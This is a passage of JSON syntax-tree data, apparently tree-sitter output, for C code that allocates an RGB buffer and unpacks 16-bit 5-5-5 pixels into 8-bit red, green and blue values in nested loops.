"children": [763, 764], "start_point": {"row": 105, "column": 23}, "end_point": {"row": 105, "column": 31}}, {"id": 763, "type": "type_identifier", "text": "GLubyte", "parent": 762, "children": [], "start_point": {"row": 105, "column": 23}, "end_point": {"row": 105, "column": 30}}, {"id": 764, "type": "abstract_pointer_declarator", "text": "*", "parent": 762, "children": [765], "start_point": {"row": 105, "column": 30}, "end_point": {"row": 105, "column": 31}}, {"id": 765, "type": "*", "text": "*", "parent": 764, "children": [], "start_point": {"row": 105, "column": 30}, "end_point": {"row": 105, "column": 31}}, {"id": 766, "type": "call_expression", "text": "malloc(w * h * 3)", "parent": 761, "children": [767, 768], "start_point": {"row": 105, "column": 33}, "end_point": {"row": 105, "column": 50}}, {"id": 767, "type": "identifier", "text": "malloc", "parent": 766, "children": [], "start_point": {"row": 105, "column": 33}, "end_point": {"row": 105, "column": 39}}, {"id": 768, "type": "argument_list", "text": "(w * h * 3)", "parent": 766, "children": [769], "start_point": {"row": 105, "column": 39}, "end_point": {"row": 105, "column": 50}}, {"id": 769, "type": "binary_expression", "text": "w * h * 3", "parent": 768, "children": [770, 774, 775], "start_point": {"row": 105, "column": 40}, "end_point": {"row": 105, "column": 49}}, {"id": 770, "type": "binary_expression", "text": "w * h", "parent": 769, "children": [771, 772, 773], "start_point": {"row": 105, "column": 40}, "end_point": {"row": 105, "column": 45}}, {"id": 771, "type": "identifier", "text": "w", "parent": 770, "children": [], "start_point": {"row": 105, "column": 40}, "end_point": {"row": 105, "column": 41}}, {"id": 772, "type": "*", "text": "*", "parent": 770, "children": [], "start_point": {"row": 105, "column": 42}, "end_point": {"row": 105, "column": 43}}, {"id": 773, "type": "identifier", "text": "h", "parent": 770, "children": [], "start_point": {"row": 105, "column": 44}, "end_point": {"row": 105, "column": 45}}, {"id": 774, "type": "*", "text": "*", "parent": 769, "children": [], "start_point": {"row": 105, "column": 46}, "end_point": {"row": 105, "column": 47}}, {"id": 775, "type": "number_literal", "text": "3", "parent": 769, "children": [], "start_point": {"row": 105, "column": 48}, "end_point": {"row": 105, "column": 49}}, {"id": 776, "type": "assignment_expression", "text": "pixels = image->pixels", "parent": 734, "children": [777, 778, 779], "start_point": {"row": 106, "column": 6}, "end_point": {"row": 106, "column": 28}}, {"id": 777, "type": "identifier", "text": "pixels", "parent": 776, "children": [], "start_point": {"row": 106, "column": 6}, "end_point": {"row": 106, "column": 12}}, {"id": 778, "type": "=", "text": "=", "parent": 776, "children": [], "start_point": {"row": 106, "column": 13}, "end_point": {"row": 106, "column": 14}}, {"id": 779, "type": "field_expression", "text": "image->pixels", "parent": 776, "children": [780, 781], "start_point": {"row": 106, "column": 15}, "end_point": {"row": 106, "column": 28}}, {"id": 780, "type": "identifier", "text": "image", "parent": 779, "children": [], "start_point": {"row": 106, "column": 15}, "end_point": {"row": 106, "column": 20}}, {"id": 781, "type": "field_identifier", "text": "pixels", "parent": 779, "children": [], "start_point": {"row": 106, "column": 22}, "end_point": {"row": 106, "column": 28}}, {"id": 782, "type": "for_statement", "text": "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }", "parent": 734, "children": [783, 787, 791], "start_point": {"row": 107, "column": 6}, "end_point": {"row": 127, "column": 7}}, {"id": 783, "type": "assignment_expression", "text": "j=0", "parent": 782, "children": [784, 785, 786], "start_point": {"row": 107, "column": 11}, "end_point": {"row": 107, "column": 14}}, {"id": 784, "type": "identifier", "text": "j", "parent": 783, "children": [], "start_point": {"row": 107, "column": 11}, "end_point": {"row": 107, "column": 12}}, {"id": 785, "type": "=", "text": "=", "parent": 783, "children": [], "start_point": {"row": 107, "column": 12}, "end_point": {"row": 107, "column": 13}}, {"id": 786, "type": "number_literal", "text": "0", "parent": 783, "children": [], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 14}}, {"id": 787, "type": "binary_expression", "text": "j<h", "parent": 782, "children": [788, 789, 790], "start_point": {"row": 107, "column": 16}, "end_point": {"row": 107, "column": 19}}, {"id": 788, "type": "identifier", "text": "j", "parent": 787, "children": [], "start_point": {"row": 107, "column": 16}, "end_point": {"row": 107, "column": 17}}, {"id": 789, "type": "<", "text": "<", "parent": 787, "children": [], "start_point": {"row": 107, "column": 17}, "end_point": {"row": 107, "column": 18}}, {"id": 790, "type": "identifier", "text": "h", "parent": 787, "children": [], "start_point": {"row": 107, "column": 18}, "end_point": {"row": 107, "column": 19}}, {"id": 791, "type": "update_expression", "text": "j++", "parent": 782, "children": [792, 793], "start_point": {"row": 107, "column": 21}, "end_point": {"row": 107, "column": 24}}, {"id": 792, "type": "identifier", "text": "j", "parent": 791, "children": [], "start_point": {"row": 107, "column": 21}, "end_point": {"row": 107, "column": 22}}, {"id": 793, "type": "++", "text": "++", "parent": 791, "children": [], "start_point": {"row": 107, "column": 22}, "end_point": {"row": 107, "column": 24}}, {"id": 794, "type": "for_statement", "text": "for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }", "parent": 782, "children": [795, 799, 803], "start_point": {"row": 108, "column": 8}, "end_point": {"row": 126, "column": 9}}, {"id": 795, "type": "assignment_expression", "text": "i=0", "parent": 794, "children": [796, 797, 798], "start_point": {"row": 108, "column": 13}, "end_point": {"row": 108, "column": 16}}, {"id": 796, "type": "identifier", "text": "i", "parent": 795, "children": [], "start_point": {"row": 108, "column": 13}, "end_point": {"row": 108, "column": 14}}, {"id": 797, "type": "=", "text": "=", "parent": 795, "children": [], "start_point": {"row": 108, "column": 14}, "end_point": {"row": 108, "column": 15}}, {"id": 798, "type": "number_literal", "text": "0", "parent": 795, "children": [], "start_point": {"row": 108, "column": 15}, "end_point": {"row": 108, "column": 16}}, {"id": 799, "type": "binary_expression", "text": "i<w", "parent": 794, "children": [800, 801, 802], "start_point": {"row": 108, "column": 18}, "end_point": {"row": 108, "column": 21}}, {"id": 800, "type": "identifier", "text": "i", "parent": 799, "children": [], "start_point": {"row": 108, "column": 18}, "end_point": {"row": 108, "column": 19}}, {"id": 801, "type": "<", "text": "<", "parent": 799, "children": [], "start_point": {"row": 108, "column": 19}, "end_point": {"row": 108, "column": 20}}, {"id": 802, "type": "identifier", "text": "w", "parent": 799, "children": [], "start_point": {"row": 108, "column": 20}, "end_point": {"row": 108, "column": 21}}, {"id": 803, "type": "update_expression", "text": "i++", "parent": 794, "children": [804, 805], "start_point": {"row": 108, "column": 23}, "end_point": {"row": 108, "column": 26}}, {"id": 804, "type": "identifier", "text": "i", "parent": 803, "children": [], "start_point": {"row": 108, "column": 23}, "end_point": {"row": 108, "column": 24}}, {"id": 805, "type": "++", "text": "++", "parent": 803, "children": [], "start_point": {"row": 108, "column": 24}, "end_point": {"row": 108, "column": 26}}, {"id": 806, "type": "declaration", "text": "GLubyte red, green, blue;", "parent": 794, "children": [807, 808, 809, 810], "start_point": {"row": 109, "column": 10}, "end_point": {"row": 109, "column": 35}}, {"id": 807, "type": "type_identifier", "text": "GLubyte", "parent": 806, "children": [], "start_point": {"row": 109, "column": 10}, "end_point": {"row": 109, "column": 17}}, {"id": 808, "type": "identifier", "text": "red", "parent": 806, "children": [], "start_point": {"row": 109, "column": 18}, "end_point": {"row": 109, "column": 21}}, {"id": 809, "type": "identifier", "text": "green", "parent": 806, "children": [], "start_point": {"row": 109, "column": 23}, "end_point": {"row": 109, "column": 28}}, {"id": 810, "type": "identifier", "text": "blue", "parent": 806, "children": [], "start_point": {"row": 109, "column": 30}, "end_point": {"row": 109, "column": 34}}, {"id": 811, "type": "assignment_expression", "text": "spixel[0] = spixels[(j*w+i)*2+0]", "parent": 794, "children": [812, 815, 816], "start_point": {"row": 111, "column": 10}, "end_point": {"row": 111, "column": 42}}, {"id": 812, "type": "subscript_expression", "text": "spixel[0]", "parent": 811, "children": [813, 814], "start_point": {"row": 111, "column": 10}, "end_point": {"row": 111, "column": 19}}, {"id": 813, "type": "identifier", "text": "spixel", "parent": 812, "children": [], "start_point": {"row": 111, "column": 10}, "end_point": {"row": 111, "column": 16}}, {"id": 814, "type": "number_literal", "text": "0", "parent": 812, "children": [], "start_point": {"row": 111, "column": 17}, "end_point": {"row": 111, "column": 18}}, {"id": 815, "type": "=", "text": "=", "parent": 811, "children": [], "start_point": {"row": 111, "column": 20}, "end_point": {"row": 111, "column": 21}}, {"id": 816, "type": "subscript_expression", "text": "spixels[(j*w+i)*2+0]", "parent": 811, "children": [817, 818], "start_point": {"row": 111, "column": 22}, "end_point": {"row": 111, "column": 42}}, {"id": 817, "type": "identifier", "text": "spixels", "parent": 816, "children": [], "start_point": {"row": 111, "column": 22}, "end_point": {"row": 111, "column": 29}}, {"id": 818, "type": "binary_expression", "text": "(j*w+i)*2+0", "parent": 816, "children": [819, 830, 831], "start_point": {"row": 111, "column": 30}, "end_point": {"row": 111, "column": 41}}, {"id": 819, "type": "binary_expression", "text": "(j*w+i)*2", "parent": 818, "children": [820, 828, 829], "start_point": {"row": 111, "column": 30}, "end_point": {"row": 111, "column": 39}}, {"id": 820, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 819, "children": [821], "start_point": {"row": 111, "column": 30}, "end_point": {"row": 111, "column": 37}}, {"id": 821, "type": "binary_expression", "text": "j*w+i", "parent": 820, "children": [822, 826, 827], "start_point": {"row": 111, "column": 31}, "end_point": {"row": 111, "column": 36}}, {"id": 822, "type": "binary_expression", "text": "j*w", "parent": 821, "children": [823, 824, 825], "start_point": {"row": 111, "column": 31}, "end_point": {"row": 111, "column": 34}}, {"id": 823, "type": "identifier", "text": "j", "parent": 822, "children": [], "start_point": {"row": 111, "column": 31}, "end_point": {"row": 111, "column": 32}}, {"id": 824, "type": "*", "text": "*", "parent": 822, "children": [], "start_point": {"row": 111, "column": 32}, "end_point": {"row": 111, "column": 33}}, {"id": 825, "type": "identifier", "text": "w", "parent": 822, "children": [], "start_point": {"row": 111, "column": 33}, "end_point": {"row": 111, "column": 34}}, {"id": 826, "type": "+", "text": "+", "parent": 821, "children": [], "start_point": {"row": 111, "column": 34}, "end_point": {"row": 111, "column": 35}}, {"id": 827, "type": "identifier", "text": "i", "parent": 821, "children": [], "start_point": {"row": 111, "column": 35}, "end_point": {"row": 111, "column": 36}}, {"id": 828, "type": "*", "text": "*", "parent": 819, "children": [], "start_point": {"row": 111, "column": 37}, "end_point": {"row": 111, "column": 38}}, {"id": 829, "type": "number_literal", "text": "2", "parent": 819, "children": [], "start_point": {"row": 111, "column": 38}, "end_point": {"row": 111, "column": 39}}, {"id": 830, "type": "+", "text": "+", "parent": 818, "children": [], "start_point": {"row": 111, "column": 39}, "end_point": {"row": 111, "column": 40}}, {"id": 831, "type": "number_literal", "text": "0", "parent": 818, "children": [], "start_point": {"row": 111, "column": 40}, "end_point": {"row": 111, "column": 41}}, {"id": 832, "type": "assignment_expression", "text": "spixel[1] = spixels[(j*w+i)*2+1]", "parent": 794, "children": [833, 836, 837], "start_point": {"row": 112, "column": 10}, "end_point": {"row": 112, "column": 42}}, {"id": 833, "type": "subscript_expression", "text": "spixel[1]", "parent": 832, "children": [834, 835], "start_point": {"row": 112, "column": 10}, "end_point": {"row": 112, "column": 19}}, {"id": 834, "type": "identifier", "text": "spixel", "parent": 833, "children": [], "start_point": {"row": 112, "column": 10}, "end_point": {"row": 112, "column": 16}}, {"id": 835, "type": "number_literal", "text": "1", "parent": 833, "children": [], "start_point": {"row": 112, "column": 17}, "end_point": {"row": 112, "column": 18}}, {"id": 836, "type": "=", "text": "=", "parent": 832, "children": [], "start_point": {"row": 112, "column": 20}, "end_point": {"row": 112, "column": 21}}, {"id": 837, "type": "subscript_expression", "text": "spixels[(j*w+i)*2+1]", "parent": 832, "children": [838, 839], "start_point": {"row": 112, "column": 22}, "end_point": {"row": 112, "column": 42}}, {"id": 838, "type": "identifier", "text": "spixels", "parent": 837, "children": [], "start_point": {"row": 112, "column": 22}, "end_point": {"row": 112, "column": 29}}, {"id": 839, "type": "binary_expression", "text": "(j*w+i)*2+1", "parent": 837, "children": [840, 851, 852], "start_point": {"row": 112, "column": 30}, "end_point": {"row": 112, "column": 41}}, {"id": 840, "type": "binary_expression", "text": "(j*w+i)*2", "parent": 839, "children": [841, 849, 850], "start_point": {"row": 112, "column": 30}, "end_point": {"row": 112, "column": 39}}, {"id": 841, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 840, "children": [842], "start_point": {"row": 112, "column": 30}, "end_point": {"row": 112, "column": 37}}, {"id": 842, "type": "binary_expression", "text": "j*w+i", "parent": 841, "children": [843, 847, 848], "start_point": {"row": 112, "column": 31}, "end_point": {"row": 112, "column": 36}}, {"id": 843, "type": "binary_expression", "text": "j*w", "parent": 842, "children": [844, 845, 846], "start_point": {"row": 112, "column": 31}, "end_point": {"row": 112, "column": 34}}, {"id": 844, "type": "identifier", "text": "j", "parent": 843, "children": [], "start_point": {"row": 112, "column": 31}, "end_point": {"row": 112, "column": 32}}, {"id": 845, "type": "*", "text": "*", "parent": 843, "children": [], "start_point": {"row": 112, "column": 32}, "end_point": {"row": 112, "column": 33}}, {"id": 846, "type": "identifier", "text": "w", "parent": 843, "children": [], "start_point": {"row": 112, "column": 33}, "end_point": {"row": 112, "column": 34}}, {"id": 847, "type": "+", "text": "+", "parent": 842, "children": [], "start_point": {"row": 112, "column": 34}, "end_point": {"row": 112, "column": 35}}, {"id": 848, "type": "identifier", "text": "i", "parent": 842, "children": [], "start_point": {"row": 112, "column": 35}, "end_point": {"row": 112, "column": 36}}, {"id": 849, "type": "*", "text": "*", "parent": 840, "children": [], "start_point": {"row": 112, "column": 37}, "end_point": {"row": 112, "column": 38}}, {"id": 850, "type": "number_literal", "text": "2", "parent": 840, "children": [], "start_point": {"row": 112, "column": 38}, "end_point": {"row": 112, "column": 39}}, {"id": 851, "type": "+", "text": "+", "parent": 839, "children": [], "start_point": {"row": 112, "column": 39}, "end_point": {"row": 112, "column": 40}}, {"id": 852, "type": "number_literal", "text": "1", "parent": 839, "children": [], "start_point": {"row": 112, "column": 40}, "end_point": {"row": 112, "column": 41}}, {"id": 853, "type": "assignment_expression", "text": "red = (spixel[1] & 0x7c) >> 2", "parent": 794, "children": [854, 855, 856], "start_point": {"row": 114, "column": 10}, "end_point": {"row": 114, "column": 39}}, {"id": 854, "type": "identifier", "text": "red", "parent": 853, "children": [], "start_point": {"row": 114, "column": 10}, "end_point": {"row": 114, "column": 13}}, {"id": 855, "type": "=", "text": "=", "parent": 853, "children": [], "start_point": {"row": 114, "column": 14}, "end_point": {"row": 114, "column": 15}}, {"id": 856, "type": "binary_expression", "text": "(spixel[1] & 0x7c) >> 2", "parent": 853, "children": [857, 863, 864], "start_point": {"row": 114, "column": 16}, "end_point": {"row": 114, "column": 39}}, {"id": 857, "type": "parenthesized_expression", "text": "(spixel[1] & 0x7c)", "parent": 856, "children": [858], "start_point": {"row": 114, "column": 16}, "end_point": {"row": 114, "column": 34}}, {"id": 858, "type": "binary_expression", "text": "spixel[1] & 0x7c", "parent": 857, "children": [859, 862], "start_point": {"row": 114, "column": 17}, "end_point": {"row": 114, "column": 33}}, {"id": 859, "type": "subscript_expression", "text": "spixel[1]", "parent": 858, "children": [860, 861], "start_point": {"row": 114, "column": 17}, "end_point": {"row": 114, "column": 26}}, {"id": 860, "type": "identifier", "text": "spixel", "parent": 859, "children": [], "start_point": {"row": 114, "column": 17}, "end_point": {"row": 114, "column": 23}}, {"id": 861, "type": "number_literal", "text": "1", "parent": 859, "children": [], "start_point": {"row": 114, "column": 24}, "end_point": {"row": 114, "column": 25}}, {"id": 862, "type": "number_literal", "text": "0x7c", "parent": 858, "children": [], "start_point": {"row": 114, "column": 29}, "end_point": {"row": 114, "column": 33}}, {"id": 863, "type": ">>", "text": ">>", "parent": 856, "children": [], "start_point": {"row": 114, "column": 35}, "end_point": {"row": 114, "column": 37}}, {"id": 864, "type": "number_literal", "text": "2", "parent": 856, "children": [], "start_point": {"row": 114, "column": 38}, "end_point": {"row": 114, "column": 39}}, {"id": 865, "type": "assignment_expression", "text": "red = (red << 3) | ((red & 0x1) * 0x7)", "parent": 794, "children": [866, 867, 868], "start_point": {"row": 115, "column": 10}, "end_point": {"row": 115, "column": 48}}, {"id": 866, "type": "identifier", "text": "red", "parent": 865, "children": [], "start_point": {"row": 115, "column": 10}, "end_point": {"row": 115, "column": 13}}, {"id": 867, "type": "=", "text": "=", "parent": 865, "children": [], "start_point": {"row": 115, "column": 14}, "end_point": {"row": 115, "column": 15}}, {"id": 868, "type": "binary_expression", "text": "(red << 3) | ((red & 0x1) * 0x7)", "parent": 865, "children": [869, 874], "start_point": {"row": 115, "column": 16}, "end_point": {"row": 115, "column": 48}}, {"id": 869, "type": "parenthesized_expression", "text": "(red << 3)", "parent": 868, "children": [870], "start_point": {"row": 115, "column": 16}, "end_point": {"row": 115, "column": 26}}, {"id": 870, "type": "binary_expression", "text": "red << 3", "parent": 869, "children": [871, 872, 873], "start_point": {"row": 115, "column": 17}, "end_point": {"row": 115, "column": 25}}, {"id": 871, "type": "identifier", "text": "red", "parent": 870, "children": [], "start_point": {"row": 115, "column": 17}, "end_point": {"row": 115, "column": 20}}, {"id": 872, "type": "<<", "text": "<<", "parent": 870, "children": [], "start_point": {"row": 115, "column": 21}, "end_point": {"row": 115, "column": 23}}, {"id": 873, "type": "number_literal", "text": "3", "parent": 870, "children": [], "start_point": {"row": 115, "column": 24}, "end_point": {"row": 115, "column": 25}}, {"id": 874, "type": "parenthesized_expression", "text": "((red & 0x1) * 0x7)", "parent": 868, "children": [875], "start_point": {"row": 115, "column": 29}, "end_point": {"row": 115, "column": 48}}, {"id": 875, "type": "binary_expression", "text": "(red & 0x1) * 0x7", "parent": 874, "children": [876, 880, 881], "start_point": {"row": 115, "column": 30}, "end_point": {"row": 115, "column": 47}}, {"id": 876, "type": "parenthesized_expression", "text": "(red & 0x1)", "parent": 875, "children": [877], "start_point": {"row": 115, "column": 30}, "end_point": {"row": 115, "column": 41}}, {"id": 877, "type": "binary_expression", "text": "red & 0x1", "parent": 876, "children": [878, 879], "start_point": {"row": 115, "column": 31}, "end_point": {"row": 115, "column": 40}}, {"id": 878, "type": "identifier", "text": "red", "parent": 877, "children": [], "start_point": {"row": 115, "column": 31}, "end_point": {"row": 115, "column": 34}}, {"id": 879, "type": "number_literal", "text": "0x1", "parent": 877, "children": [], "start_point": {"row": 115, "column": 37}, "end_point": {"row": 115, "column": 40}}, {"id": 880, "type": "*", "text": "*", "parent": 875, "children": [], "start_point": {"row": 115, "column": 42}, "end_point": {"row": 115, "column": 43}}, {"id": 881, "type": "number_literal", "text": "0x7", "parent": 875, "children": [], "start_point": {"row": 115, "column": 44}, "end_point": {"row": 115, "column": 47}}, {"id": 882, "type": "assignment_expression", "text": "green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)", "parent": 794, "children": [883, 884, 885], "start_point": {"row": 117, "column": 10}, "end_point": {"row": 117, "column": 71}}, {"id": 883, "type": "identifier", "text": "green", "parent": 882, "children": [], "start_point": {"row": 117, "column": 10}, "end_point": {"row": 117, "column": 15}}, {"id": 884, "type": "=", "text": "=", "parent": 882, "children": [], "start_point": {"row": 117, "column": 16}, "end_point": {"row": 117, "column": 17}}, {"id": 885, "type": "binary_expression", "text": "((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5)", "parent": 882, "children": [886, 896], "start_point": {"row": 117, "column": 18}, "end_point": {"row": 117, "column": 71}}, {"id": 886, "type": "parenthesized_expression", "text": "((spixel[1] & 0x03) << 3)", "parent": 885, "children": [887], "start_point": {"row": 117, "column": 18}, "end_point": {"row": 117, "column": 43}}, {"id": 887, "type": "binary_expression", "text": "(spixel[1] & 0x03) << 3", "parent": 886, "children": [888, 894, 895], "start_point": {"row": 117, "column": 19}, "end_point": {"row": 117, "column": 42}}, {"id": 888, "type": "parenthesized_expression", "text": "(spixel[1] & 0x03)", "parent": 887, "children": [889], "start_point": {"row": 117, "column": 19}, "end_point": {"row": 117, "column": 37}}, {"id": 889, "type": "binary_expression", "text": "spixel[1] & 0x03", "parent": 888, "children": [890, 893], "start_point": {"row": 117, "column": 20}, "end_point": {"row": 117, "column": 36}}, {"id": 890, "type": "subscript_expression", "text": "spixel[1]", "parent": 889, "children": [891, 892], "start_point": {"row": 117, "column": 20}, "end_point": {"row": 117, "column": 29}}, {"id": 891, "type": "identifier", "text": "spixel", "parent": 890, "children": [], "start_point": {"row": 117, "column": 20}, "end_point": {"row": 117, "column": 26}}, {"id": 892, "type": "number_literal", "text": "1", "parent": 890, "children": [], "start_point": {"row": 117, "column": 27}, "end_point": {"row": 117, "column": 28}}, {"id": 893, "type": "number_literal", "text": "0x03", "parent": 889, "children": [], "start_point": {"row": 117, "column": 32}, "end_point": {"row": 117, "column": 36}}, {"id": 894, "type": "<<", "text": "<<", "parent": 887, "children": [], "start_point": {"row": 117, "column": 38}, "end_point": {"row": 117, "column": 40}}, {"id": 895, "type": "number_literal", "text": "3", "parent": 887, "children": [], "start_point": {"row": 117, "column": 41}, "end_point": {"row": 117, "column": 42}}, {"id": 896, "type": "parenthesized_expression", "text": "((spixel[0] & 0xe0) >> 5)", "parent": 885, "children": [897], "start_point": {"row": 117, "column": 46}, "end_point": {"row": 117, "column": 71}}, {"id": 897, "type": "binary_expression", "text": "(spixel[0] & 0xe0) >> 5", "parent": 896, "children": [898, 904, 905], "start_point": {"row": 117, "column": 47}, "end_point": {"row": 117, "column": 70}}, {"id": 898, "type": "parenthesized_expression", "text": "(spixel[0] & 0xe0)", "parent": 897, "children": [899], "start_point": {"row": 117, "column": 47}, "end_point": {"row": 117, "column": 65}}, {"id": 899, "type": "binary_expression", "text": "spixel[0] & 0xe0", "parent": 898, "children": [900, 903], "start_point": {"row": 117, "column": 48}, "end_point": {"row": 117, "column": 64}}, {"id": 900, "type": "subscript_expression", "text": "spixel[0]", "parent": 899, "children": [901, 902], "start_point": {"row": 117, "column": 48}, "end_point": {"row": 117, "column": 57}}, {"id": 901, "type": "identifier", "text": "spixel", "parent": 900, "children": [], "start_point": {"row": 117, "column": 48}, "end_point": {"row": 117, "column": 54}}, {"id": 902, "type": "number_literal", "text": "0", "parent": 900, "children": [], "start_point": {"row": 117, "column": 55}, "end_point": {"row": 117, "column": 56}}, {"id": 903, "type": "number_literal", "text": "0xe0", "parent": 899, "children": [], "start_point": {"row": 117, "column": 60}, "end_point": {"row": 117, "column": 64}}, {"id": 904, "type": ">>", "text": ">>", "parent": 897, "children": [], "start_point": {"row": 117, "column": 66}, "end_point": {"row": 117, "column": 68}}, {"id": 905, "type": "number_literal", "text": "5", "parent": 897, "children": [], "start_point": {"row": 117, "column": 69}, "end_point": {"row": 117, "column": 70}}, {"id": 906, "type": "assignment_expression", "text": "green = (green << 3) | ((green & 0x1) * 0x7)", "parent": 794, "children": [907, 908, 909], "start_point": {"row": 118, "column": 10}, "end_point": {"row": 118, "column": 54}}, {"id": 907, "type": "identifier", "text": "green", "parent": 906, "children": [], "start_point": {"row": 118, "column": 10}, "end_point": {"row": 118, "column": 15}}, {"id": 908, "type": "=", "text": "=", "parent": 906, "children": [], "start_point": {"row": 118, "column": 16}, "end_point": {"row": 118, "column": 17}}, {"id": 909, "type": "binary_expression", "text": "(green << 3) | ((green & 0x1) * 0x7)", "parent": 906, "children": [910, 915], "start_point": {"row": 118, "column": 18}, "end_point": {"row": 118, "column": 54}}, {"id": 910, "type": "parenthesized_expression", "text": "(green << 3)", "parent": 909, "children": [911], "start_point": {"row": 118, "column": 18}, "end_point": {"row": 118, "column": 30}}, {"id": 911, "type": "binary_expression", "text": "green << 3", "parent": 910, "children": [912, 913, 914], "start_point": {"row": 118, "column": 19}, "end_point": {"row": 118, "column": 29}}, {"id": 912, "type": "identifier", "text": "green", "parent": 911, "children": [], "start_point": {"row": 118, "column": 19}, "end_point": {"row": 118, "column": 24}}, {"id": 913, "type": "<<", "text": "<<", "parent": 911, "children": [], "start_point": {"row": 118, "column": 25}, "end_point": {"row": 118, "column": 27}}, {"id": 914, "type": "number_literal", "text": "3", "parent": 911, "children": [], "start_point": {"row": 118, "column": 28}, "end_point": {"row": 118, "column": 29}}, {"id": 915, "type": "parenthesized_expression", "text": "((green & 0x1) * 0x7)", "parent": 909, "children": [916], "start_point": {"row": 118, "column": 33}, "end_point": {"row": 118, "column": 54}}, {"id": 916, "type": "binary_expression", "text": "(green & 0x1) * 0x7", "parent": 915, "children": [917, 921, 922], "start_point": {"row": 118, "column": 34}, "end_point": {"row": 118, "column": 53}}, {"id": 917, "type": "parenthesized_expression", "text": "(green & 0x1)", "parent": 916, "children": [918], "start_point": {"row": 118, "column": 34}, "end_point": {"row": 118, "column": 47}}, {"id": 918, "type": "binary_expression", "text": "green & 0x1", "parent": 917, "children": [919, 920], "start_point": {"row": 118, "column": 35}, "end_point": {"row": 118, "column": 46}}, {"id": 919, "type": "identifier", "text": "green", "parent": 918, "children": [], "start_point": {"row": 118, "column": 35}, "end_point": {"row": 118, "column": 40}}, {"id": 920, "type": "number_literal", "text": "0x1", "parent": 918, "children": [], "start_point": {"row": 118, "column": 43}, "end_point": {"row": 118, "column": 46}}, {"id": 921, "type": "*", "text": "*", "parent": 916, "children": [], "start_point": {"row": 118, "column": 48}, "end_point": {"row": 118, "column": 49}}, {"id": 922, "type": "number_literal", "text": "0x7", "parent": 916, "children": [], "start_point": {"row": 118, "column": 50}, "end_point": {"row": 118, "column": 53}}, {"id": 923, "type": "assignment_expression", "text": "blue = (spixel[0] & 0x1f) >> 0", "parent": 794, "children": [924, 925, 926], "start_point": {"row": 120, "column": 10}, "end_point": {"row": 120, "column": 40}}, {"id": 924, "type": "identifier", "text": "blue", "parent": 923, "children": [], "start_point": {"row": 120, "column": 10}, "end_point": {"row": 120, "column": 14}}, {"id": 925, "type": "=", "text": "=", "parent": 923, "children": [], "start_point": {"row": 120, "column": 15}, "end_point": {"row": 120, "column": 16}}, {"id": 926, "type": "binary_expression", "text": "(spixel[0] & 0x1f) >> 0", "parent": 923, "children": [927, 933, 934], "start_point": {"row": 120, "column": 17}, "end_point": {"row": 120, "column": 40}}, {"id": 927, "type": "parenthesized_expression", "text": "(spixel[0] & 0x1f)", "parent": 926, "children": [928], "start_point": {"row": 120, "column": 17}, "end_point": {"row": 120, "column": 35}}, {"id": 928, "type": "binary_expression", "text": "spixel[0] & 0x1f", "parent": 927, "children": [929, 932], "start_point": {"row": 120, "column": 18}, "end_point": {"row": 120, "column": 34}}, {"id": 929, "type": "subscript_expression", "text": "spixel[0]", "parent": 928, "children": [930, 931], "start_point": {"row": 120, "column": 18}, "end_point": {"row": 120, "column": 27}}, {"id": 930, "type": "identifier", "text": "spixel", "parent": 929, "children": [], "start_point": {"row": 120, "column": 18}, "end_point": {"row": 120, "column": 24}}, {"id": 931, "type": "number_literal", "text": "0", "parent": 929, "children": [], "start_point": {"row": 120, "column": 25}, "end_point": {"row": 120, "column": 26}}, {"id": 932, "type": "number_literal", "text": "0x1f", "parent": 928, "children": [], "start_point": {"row": 120, "column": 30}, "end_point": {"row": 120, "column": 34}}, {"id": 933, "type": ">>", "text": ">>", "parent": 926, "children": [], "start_point": {"row": 120, "column": 36}, "end_point": {"row": 120, "column": 38}}, {"id": 934, "type": "number_literal", "text": "0", "parent": 926, "children": [], "start_point": {"row": 120, "column": 39}, "end_point": {"row": 120, "column": 40}}, {"id": 935, "type": "assignment_expression", "text": "blue = (blue << 3) | ((blue & 0x1) * 0x7)", "parent": 794, "children": [936, 937, 938], "start_point": {"row": 121, "column": 10}, "end_point": {"row": 121, "column": 51}}, {"id": 936, "type": "identifier", "text": "blue", "parent": 935, "children": [], "start_point": {"row": 121, "column": 10}, "end_point": {"row": 121, "column": 14}}, {"id": 937, "type": "=", "text": "=", "parent": 935, "children": [], "start_point": {"row": 121, "column": 15}, "end_point": {"row": 121, "column": 16}}, {"id": 938, "type": "binary_expression", "text": "(blue << 3) | ((blue & 0x1) * 0x7)", "parent": 935, "children": [939, 944], "start_point": {"row": 121, "column": 17}, "end_point": {"row": 121, "column": 51}}, {"id": 939, "type": "parenthesized_expression", "text": "(blue << 3)", "parent": 938, "children": [940], "start_point": {"row": 121, "column": 17}, "end_point": {"row": 121, "column": 28}}, {"id": 940, "type": "binary_expression", "text": "blue << 3", "parent": 939, "children": [941, 942, 943], "start_point": {"row": 121, "column": 18}, "end_point": {"row": 121, "column": 27}}, {"id": 941, "type": "identifier", "text": "blue", "parent": 940, "children": [], "start_point": {"row": 121, "column": 18}, "end_point": {"row": 121, "column": 22}}, {"id": 942, "type": "<<", "text": "<<", "parent": 940, "children": [], 